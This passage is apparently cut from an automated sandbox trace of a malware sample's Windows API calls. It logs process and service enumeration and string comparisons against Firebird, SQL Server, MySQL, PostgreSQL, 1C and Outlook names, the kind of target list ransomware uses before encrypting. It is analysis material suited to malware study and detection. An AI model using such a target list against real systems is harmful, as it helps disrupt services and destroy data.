cntThreads=0x5, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0048.236] lstrlenW (lpString="vssadmin.exe") returned 12 [0048.236] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0048.236] lstrlenW (lpString="VSSVC.exe") returned 9 [0048.236] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.236] lstrlenW (lpString="svchost.exe") returned 11 [0048.236] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0048.236] CloseHandle (hObject=0x3d8) returned 1 [0048.237] Sleep (dwMilliseconds=0x1f4) [0048.994] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x32980d0 [0049.017] EnumServicesStatusExW (in: hSCManager=0x32980d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0049.017] GetLastError () returned 0xea [0049.017] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x12c6) returned 0x53a0068 [0049.017] EnumServicesStatusExW (in: hSCManager=0x32980d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x53a0068, cbBufSize=0x12c6, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x53a0068, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0049.018] CloseServiceHandle (hSCObject=0x32980d0) returned 1 [0049.018] lstrlenW (lpString="Appinfo") returned 7 [0049.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0049.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0049.018] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0049.018] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0049.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0049.018] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0049.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0049.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0049.018] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0049.018] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0049.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0049.018] lstrlenW (lpString="AudioSrv") returned 8 [0049.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0049.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0049.018] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0049.018] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0049.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0049.018] lstrlenW (lpString="BFE") returned 3 [0049.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0049.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0049.019] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0049.019] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0049.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0049.019] lstrlenW (lpString="CryptSvc") returned 8 [0049.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0049.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0049.019] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0049.019] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0049.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0049.019] lstrlenW (lpString="CscService") returned 10 [0049.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0049.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0049.019] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0049.019] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0049.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0049.019] lstrlenW (lpString="DcomLaunch") returned 10 [0049.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0049.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0049.019] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0049.019] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0049.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0049.019] lstrlenW (lpString="Dhcp") returned 4 [0049.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0049.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0049.019] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0049.019] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0049.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0049.020] lstrlenW (lpString="Dnscache") returned 8 [0049.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0049.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0049.020] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0049.020] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0049.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0049.020] lstrlenW (lpString="DPS") returned 3 [0049.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0049.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0049.020] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0049.020] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0049.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0049.020] lstrlenW (lpString="eventlog") returned 8 [0049.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0049.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0049.020] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0049.020] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0049.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0049.020] lstrlenW (lpString="EventSystem") returned 11 [0049.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0049.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0049.020] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0049.020] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0049.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0049.020] lstrlenW (lpString="gpsvc") returned 5 [0049.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0049.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0049.020] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0049.020] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0049.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0049.020] lstrlenW (lpString="iphlpsvc") returned 8 [0049.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0049.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0049.021] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0049.021] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0049.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0049.021] lstrlenW (lpString="LanmanServer") returned 12 [0049.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0049.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0049.021] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0049.021] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0049.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0049.021] lstrlenW (lpString="LanmanWorkstation") returned 17 [0049.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0049.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0049.021] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0049.021] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0049.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0049.021] lstrlenW (lpString="lmhosts") returned 7 [0049.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0049.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0049.021] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0049.021] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0049.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0049.021] lstrlenW (lpString="MMCSS") returned 5 [0049.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0049.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0049.021] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0049.021] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0049.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0049.021] lstrlenW (lpString="MpsSvc") returned 6 [0049.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0049.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0049.022] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0049.022] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0049.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0049.022] lstrlenW (lpString="Netman") returned 6 [0049.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0049.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0049.022] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0049.022] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0049.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0049.022] lstrlenW (lpString="netprofm") returned 8 [0049.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0049.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0049.022] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0049.022] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0049.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0049.022] lstrlenW (lpString="NlaSvc") returned 6 [0049.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0049.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0049.022] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0049.022] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0049.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0049.022] lstrlenW (lpString="nsi") returned 3 [0049.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0049.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0049.022] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0049.022] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0049.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0049.022] lstrlenW (lpString="PcaSvc") returned 6 [0049.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0049.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0049.022] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0049.022] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0049.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0049.023] lstrlenW (lpString="PlugPlay") returned 8 [0049.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0049.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0049.023] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0049.023] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0049.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0049.023] lstrlenW (lpString="Power") returned 5 [0049.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0049.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0049.023] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0049.023] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0049.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0049.023] lstrlenW (lpString="ProfSvc") returned 7 [0049.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0049.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0049.023] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0049.023] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0049.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0049.023] lstrlenW (lpString="RpcEptMapper") returned 12 [0049.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0049.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0049.023] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0049.023] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0049.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0049.023] lstrlenW (lpString="RpcSs") returned 5 [0049.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0049.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0049.023] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0049.023] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0049.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0049.023] lstrlenW (lpString="SamSs") returned 5 [0049.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0049.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0049.024] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0049.024] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0049.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0049.024] lstrlenW (lpString="Schedule") returned 8 [0049.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0049.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0049.024] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0049.024] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0049.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0049.024] lstrlenW (lpString="SENS") returned 4 [0049.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0049.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0049.024] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0049.024] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0049.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0049.024] lstrlenW (lpString="ShellHWDetection") returned 16 [0049.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0049.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0049.024] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0049.024] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0049.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0049.024] lstrlenW (lpString="Spooler") returned 7 [0049.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0049.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0049.025] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0049.025] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0049.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0049.025] lstrlenW (lpString="swprv") returned 5 [0049.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0049.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0049.025] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0049.025] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0049.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0049.025] lstrlenW (lpString="SysMain") returned 7 [0049.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0049.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0049.026] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0049.026] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0049.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0049.026] lstrlenW (lpString="Themes") returned 6 [0049.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0049.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0049.026] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0049.026] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0049.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0049.026] lstrlenW (lpString="TrkWks") returned 6 [0049.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0049.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0049.026] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0049.026] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0049.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0049.026] lstrlenW (lpString="UxSms") returned 5 [0049.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0049.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0049.026] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0049.026] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0049.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0049.026] lstrlenW (lpString="VSS") returned 3 [0049.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0049.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0049.026] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0049.026] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0049.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0049.026] lstrlenW (lpString="WdiServiceHost") returned 14 [0049.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0049.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0049.027] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0049.027] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0049.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0049.027] lstrlenW (lpString="WdiSystemHost") returned 13 [0049.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0049.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0049.027] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0049.027] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0049.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0049.027] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0049.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0049.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0049.027] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0049.027] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0049.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0049.027] lstrlenW (lpString="Winmgmt") returned 7 [0049.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0049.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0049.027] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0049.027] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0049.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0049.027] lstrlenW (lpString="WPDBusEnum") returned 10 [0049.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0049.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0049.027] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0049.027] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0049.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0049.027] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x53a0068 | out: hHeap=0x790000) returned 1 [0049.027] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3dc [0049.029] Process32FirstW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0049.030] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0049.030] lstrlenW (lpString="System") returned 6 [0049.030] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0049.030] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0049.030] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0049.030] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0049.030] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0049.030] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0049.030] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0049.030] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0049.030] lstrlenW (lpString="smss.exe") returned 8 [0049.030] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0049.030] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0049.030] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0049.030] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0049.030] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0049.030] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0049.031] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0049.031] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0049.031] lstrlenW (lpString="csrss.exe") returned 9 [0049.031] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0049.031] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0049.031] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0049.031] lstrcmpiW 